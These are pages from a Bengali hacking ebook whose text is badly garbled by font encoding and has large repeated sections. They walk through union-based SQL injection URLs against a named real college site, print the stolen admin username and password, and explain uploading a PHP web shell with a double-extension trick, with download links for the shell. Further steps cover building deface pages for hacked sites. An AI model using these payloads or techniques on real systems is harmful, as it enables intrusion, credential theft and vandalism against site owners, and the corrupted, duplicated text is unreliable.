এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 67: Hacking Bangla eBook

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 68: Hacking Bangla eBook

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

